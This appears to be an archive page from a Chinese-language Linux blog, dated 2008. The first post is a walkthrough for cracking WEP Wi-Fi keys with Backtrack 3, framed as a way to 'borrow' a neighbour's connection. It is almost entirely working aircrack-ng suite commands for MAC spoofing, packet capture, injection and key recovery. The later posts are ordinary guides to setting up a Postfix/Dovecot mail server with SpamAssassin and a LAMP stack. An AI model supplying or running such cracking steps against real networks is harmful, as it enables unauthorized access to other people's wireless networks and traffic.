顯示具有 linux 標籤的文章。 顯示所有文章
顯示具有 linux 標籤的文章。 顯示所有文章

2008年7月8日 星期二

住外面可是卻沒有申請網路線路怎麼辦

How to Crack WEP using Backtrack 3

用借的

基本上呢 很簡單
開一個shell
找你的network interface 改成監視mode 以及換假的mac address
airmon-ng
airmon-ng stop ath0
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0

監視
airodump-ng ath0
airodump-ng –c 11 –w wep123 - - bssid 00:13:49:36:87:34 ath0


開第二個shell 這部分要做package injection
aireplay-ng -1 0 –a 00:13:49:36:87:34 –h 00:11:22:33:44:55 –e jo3c ath0
aireplay-ng -3 –b 00:13:49:36:87:34 –h 00:11:22:33:44:55 ath0

開第三個shell 這部分叫做 解碼
aircrack-ng –n 64 –b 00:13:49:36:87:34 wep123-01.cap

2008年5月2日 星期五

如何在Ubuntu Hardy Heron 8.04 架Mail Server + SpamAssassin

如何在Ubuntu Hardy Heron 8.04 架Mail Server + SpamAssassin

How to Setup Ubuntu Hardy Heron Mail Server Setup with Postfix + Dovecot + SASL + Squirrel Mail + SpamAssassin

安裝 Postfix

$ sudo aptitude install postfix postfix-tls libsasl2 sasl2-bin libsasl2-modules popa3d

* Choose Internet Site in Postfix Configuration

$ sudo /etc/init.d/postfix restart

安裝 Dovecot

$ sudo aptitude install dovecot-imapd dovecot-pop3d dovecot-common
$ sudo nano /etc/dovecot/dovecot.conf

找第 24 行

改
# specify protocols = imap imaps pop3 pop3s
成
protocols = pop3 imap

找第50行
改
#disable_plaintext_auth = yes
成
disable_plaintext_auth = no

找第 627行
改
# pop3_uidl_format = %08Xu%08Xv
成
pop3_uidl_format = %08Xu%08Xv
建立新的使用者
$ sudo adduser alice
重新啟動
$ sudo /etc/init.d/dovecot restart

修改SASL認證
Configure SASL Authentication with TLS

$ sudo nano /etc/postfix/main.cf

加入這些行
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_local_domain = yourdomain.com
smtpd_recipient_restrictions = permit_mynetworks,permit_sasl_authenticated,reject_unauth_destination
smtpd_sasl_security_options = noanonymous

$ sudo rm -r /var/run/saslauthd/
$ sudo mkdir -p /var/spool/postfix/var/run/saslauthd
$ sudo ln -s /var/spool/postfix/var/run/saslauthd /var/run
$ sudo chgrp sasl /var/spool/postfix/var/run/saslauthd
$ sudo adduser postfix sasl
$ sudo nano /etc/dovecot/dovecot.conf

找第767行

改
auth default {
成
auth default2 {

在 auth default2{ 前加入以下這些設定

auth default {
mechanisms = plain login
passdb pam {
}
userdb passwd {
}
socket listen {
client {
path = /var/spool/postfix/private/auth
mode = 0660
user = postfix
group = postfix
}

}

}

重開
sudo /etc/init.d/saslauthd restart
sudo /etc/init.d/postfix restart
sudo /etc/init.d/dovecot restart

測試 EVOLUTION 信箱軟體

安裝Squirrel 網路 Mail

先裝 apache2 + php5

$ sudo apt-get install apache2

$ sudo apt-get install libapache2-mod-php5 php5-cli php5-common php5-cgi
$ sudo apt-get install squirrelmail
$ sudo /usr/sbin/squirrelmail-configure
$sudo nano /etc/apache2/apache2.conf

加入以下設定
Include /etc/squirrelmail/apache.conf
$ sudo /etc/init.d/apache2 restart

http://yourdomain.com/squirrelmail

Create a separate local user and login as a new user.

Mail Server Logs

$ sudo tail -f /var/log/mail.log
$ sudo nano /var/log/mail.log

reference: http://www.debianadmin.com/debian-mail-server-setup-with-postfix-dovecot-sasl-squirrel-mail.html

SpamAssassin

$ sudo sudo apt-get install spamassassin spamc
$ sudo groupadd -g 5001 spamd
$ sudo useradd -u 5001 -g spamd -s /sbin/nologin -d /var/lib/spamassassin spamd
$ sudo mkdir /var/lib/spamassassin
$ sudo chown spamd:spamd /var/lib/spamassassin

$ sudo sudo nano /etc/default/spamassassin
ENABLED=1
SAHOME="/var/lib/spamassassin/"
OPTIONS="--create-prefs --max-children 5 --username spamd --helper-home-dir ${SAHOME} -s ${SAHOME}spamd.log"
PIDFILE="${SAHOME}spamd.pid"

$ sudo nano /etc/spamassassin/local.cf
rewrite_header Subject [***** SPAM _SCORE_ *****]
required_score 2.0
#to be able to use _SCORE_ we need report_safe set to 0
#If this option is set to 0, incoming spam is only modified by adding some "X-Spam-" headers and no changes will be made to the body.
report_safe 0
# Enable the Bayes system
use_bayes 1
use_bayes_rules 1
# Enable Bayes auto-learning
bayes_auto_learn 1
# Enable or disable network checks
skip_rbl_checks 0
use_razor2 0
use_dcc 0
use_pyzor 0

$ sudo /etc/init.d/spamassassin start
$ sudo nano /etc/postfix/master.cf

*
change

smtp inet n - - - - smtpd

*
to

smtp inet n - - - - smtpd -o content_filter=spamassassin

spamassassin unix - n n - - pipe
user=spamd argv=/usr/bin/spamc -f -e
/usr/sbin/sendmail -oi -f ${sender} ${recipient}

$ sudo /etc/init.d/postfix reload

2008年1月25日 星期五

如何在Shell底下找你要的使用者手冊及指令

how-to find the command you need in linux
如何在shell底下找你要的使用者手冊及指令
$ apropos

如何幫linux改電腦名稱

How To Change Computer Host Name in Ubuntu Linux
如何幫linux改電腦名稱
$ gksudo gedit /etc/hostname

如何在Linux, Ubuntu, Debian下安裝 LAMP Apache 2.2, MySQL 5, PHP 4, SSH

How To install LAMP Apacle MySQL PHP SSH On Ubuntu 7.10 Gusty Gibbon
如何在linux, ubuntu, debian下安裝 apache, mysql, php, ssh


ubuntu apache2 + php5 + mysql5
1. ssh server for remote access
sudo apt-get install ssh

2. database server
sudo apt-get install mysql-server

3. apache http server
sudo apt-get install apache2

4. php for apache http server
sudo apt-get install php5

5. mysql for apache http server
sudo apt-get install libapache2-mod-auth-mysql
sudo apt-get install php5-mysql

remember! reboot your computer afterward!

如何啟動,停止,重新啟動 Mysql, Apache
start, restart, stop apache
sudo /etc/init.d/apache2 restart

start, restart, stop mysql
sudo /etc/init.d/mysql restart